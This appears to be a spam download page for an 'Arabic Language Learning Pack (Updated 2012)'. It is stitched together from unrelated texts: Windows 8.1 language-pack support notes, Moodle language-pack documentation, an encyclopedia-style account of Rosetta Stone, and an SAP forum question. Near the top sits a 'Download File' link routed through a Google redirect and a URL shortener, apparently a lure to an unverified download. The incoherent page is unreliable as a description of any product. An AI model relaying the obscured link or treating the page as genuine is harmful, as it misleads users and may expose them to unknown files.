Arabic Language Learning Pack (Updated 2012)
This article describes a language issue that occurs when you install language packs on computers that have Windows 8.1 Update 2919355 installed. Consider the symptoms and check the prerequisites before you apply the associated updates.Note These updates are incomplete language packs. The language packs contain only the updated resources for Windows 8.1 Update 2919355, and they should be applied only after the Windows 8.1 Language Pack has been installed.
Arabic Language Learning Pack (Updated 2012)
Download File: https://www.google.com/url?q=https%3A%2F%2Furluso.com%2F2u1xo4&sa=D&sntz=1&usg=AOvVaw22ekTSaAewDy2RcTmIipq5
Assume that you install Windows 8.1 from installation media that includes Windows 8.1 Update 2919355. Then, you add a language pack.Note This issue does not occur if you first install a language pack on a Windows 8.1-based computer, and then you install Windows 8.1 Update 2919355.
The following tables show the supported language packs for Windows desktop editions and Windows Server, and supported language interface packs (LIPs) for Windows desktop editions. LIPs are available for Windows desktop releases, but are not available for Windows Server. For more information, see Language packs.
The version of the language, LIP, or Feature on Demand must match the version number. For example, you can neither add a Windows 10 version 1809 LIP to Windows 10 version 1803 image, nor add a Windows Server 2019 language pack to Windows Server 2016.
Over 100 language packs are available for an administrator to install on your Moodle site in 'Language packs' in the Site administration. Simply select the languages you require from the list of available language packs and click on the "Install selected language pack" button.
Language packs are a work-in-progress, since new language strings are added for new features in each new version of Moodle. Lang packs can be manually downloaded from Language packs for Moodle 4.1. The page also lists the percentage of language strings translated in each language pack.
Certain language packs (a child language pack) contain only the modified language strings from their parent language, rather than a complete set. Thus, it is necessary to install the parent language pack too. On (replace 3.11 by the correct version number) you can see those languages printed in italic).
Note: If your site uses a child language pack and if you use the Multi-language content filter, you need to be very careful about how to use if (as reported in MDL-55197). See Multi-language content filter for more details and examples.
In general, the easiest way to install additional language packs is from within Moodle. However, it is also possible to install a language pack manually by downloading the zip file from Language packs for Moodle 4.1 and unzipping it to a directory called lang in your moodledata directory.
If you install another language pack, you will then get a folder such as lang/fr which would have French translations of Moodle terms. Unlike with English, other language packs such as lang/fr will contain all translations along with the main core terms so you would find see for example the badges strings in lang/fr/block_badges.php and the workshop strings in lang/fr/workshop.php.
These files (which all end in .php) contain short phrases, often called "strings". Strings may contain a placeholder (between the curly brackets below). This placeholder is replaced with the chosen words from the language pack when the string is displayed. The term between the square brackets is called the 'string identifier' or the 'string name'. Examples:
See the following image showing (Insignias) a properly translated Spanish language string (green rectangle) and an unstranslated English language string (red rectangle) for 'Badges' plus a mixture of translated and untranslated strings with a language pack that should have 100% of the core strings translated.
Sometimes you may find (see image below) that your server has, in addition to your usual language packs (e.g., en, es_mx), an odd-named language pack with an _old name ending (e.g., es_mx_old), that -obviously- can not be updated.
Rosetta Stone Language Learning is proprietary, computer-assisted language learning (CALL) software published by Rosetta Stone Inc, part of the IXL Learning family of products. The software uses images, text, and sound to teach words and grammar by spaced repetition, without translation. Rosetta Stone calls its approach Dynamic Immersion.
To use Rosetta Stone Language Learning, a student needs the Rosetta Stone application software and at least one level of a language pack. The latest major version of Rosetta Stone is Rosetta Stone Language Learning 5.0.13.
Language packs also have version numbers. The version number of the language pack is distinct from the version numbering scheme of the Rosetta Stone application, and a language pack is only compatible with specific versions of the application. Version 4 and 5 are backward compatible with language packs developed for Version 3, but not older ones.[1]
The Rosetta Stone v2.1 through v2.2.x are only compatible with v6.x language courses. These versions of the language packs and software engine are neither backward compatible nor forward compatible.[1] Language discs developed for The Rosetta Stone v2.0.x are incompatible with these later revisions of the software.
As of January 2015[update], there are 28[7] Language Training courses offered by Rosetta. Each language course requires either its own language pack, offered through CD-ROMs or downloads, or online subscription.
In version 3 pack, there are four units per language level. Each unit has four core lessons that are about 30 minutes long. The student then moves on to one of the following lesson modes: Pronunciation, Writing, Vocabulary, Grammar, Listening, Reading, Speaking. The Milestone is an exercise at the end of each unit in which students apply what they learned in the unit.
On 9 June 2008, Rosetta Stone introduced an addition to its Version 3 product line: Audio Companion, supplemental audio recordings of words and phrases. The student is meant to repeat the spoken words and phrases for practice and memorization.[8] Unlike recordings based on the Pimsleur method, the Audio Companion provides neither narration nor translations. Rosetta Stone distributes the audio supplements on audio CD and as MP3 files. Each Audio Companion supplements one level of the language course, and each disc supplements a specific unit. Complete Version 4 course packages include Audio Companion material for each level.
In November 2015 the Chickasaw Nation, through the Chickasaw Language Revitalization Program established in 2007, contracted with Rosetta Stone to customize language learning content to preserve and introduce the Chickasaw language to its 60,000+ members worldwide.[15][16] This effort comes as the Chickasaw Nation has approximately 50 native speakers remaining, with its last monolingual speaker having died in 2013.[17]
Another frequent issue was the use of more formal vocabulary than that regularly used by native speakers. In 2006, Macworld reviewer Cyrus Farivar noted that his Persian CD used khodrow for "car", although most native speakers use a French loanword, ma:sheen (in the same way English speakers would be more likely to say "car" than "automobile" in everyday speech). The same course did not teach words that would be important to someone learning Persian, such as "bread" and "tea"; however, it very curiously included the word "elephant" in a basic vocabulary lesson. Perplexed by the question of why the word "elephant" would be taught in a language where it might never be used (there are not many elephants in Iran), Farivar called Rosetta Stone, Inc. He was told that the company makes four different picture sets: one for Western languages, another for Asian languages, and two sets unique to each Swahili and Latin. The Persian language CD was using the Western picture set, which explains why the images were not culturally relevant.[19]
"The entire package lacks any pedagogical foundation," he concluded. "Rather, it utilizes the glitz of the multimedia capabilities of the computer, a dearth of quality foreign language software, and clever marketing to create an economically successful product."[21][dead link]
The language-learning specialist Stephen Krashen found that the few studies on the software produced learning results that were "about as effective as traditional instruction on traditional tests.[22]
The U.S. Department of State uses Rosetta Stone (Version 3 as of 2009) as a companion to their in-class and distance learning language programs provided through the Foreign Service Institute. It is free for civil and foreign service employees.[42]
In April 2011, James Madison University was the first university to partner with Rosetta Stone to offer the Rosetta Stone Version 4 TOTALe as an accredited Conversational Spanish I language learning course. The program teaches Spanish through a series of images that, when clicked on, show the vocabulary word. The student will speak into a microphone and speech recognition software will correct mispronounced words, according to Reilly Brennan, Rosetta Stone's Director of Public Relations. The course is available to adults who want to complete a degree for teaching and non-degree seeking students are eligible to take the class. The Rosetta Stone TOTALe accredited offering is a 16-week, intensive language-learning program. The program is accessed completely online and follows a syllabus approved by Rosetta Stone and James Madison University.[43]
I've a query on language install and was wondering if you could help. Is tehre any best practice/guideline from SAP regarding the same language packs installed in both ECC and BW. Should BW system have the same languages installed as ECC?
There is no dependency between Languaga support packs for ECC/BW systems. It totally depends upon your requirement. In case you have installed an International language for users in ECC and there are reporting requirements as well then certainly you should install same language in BW as well.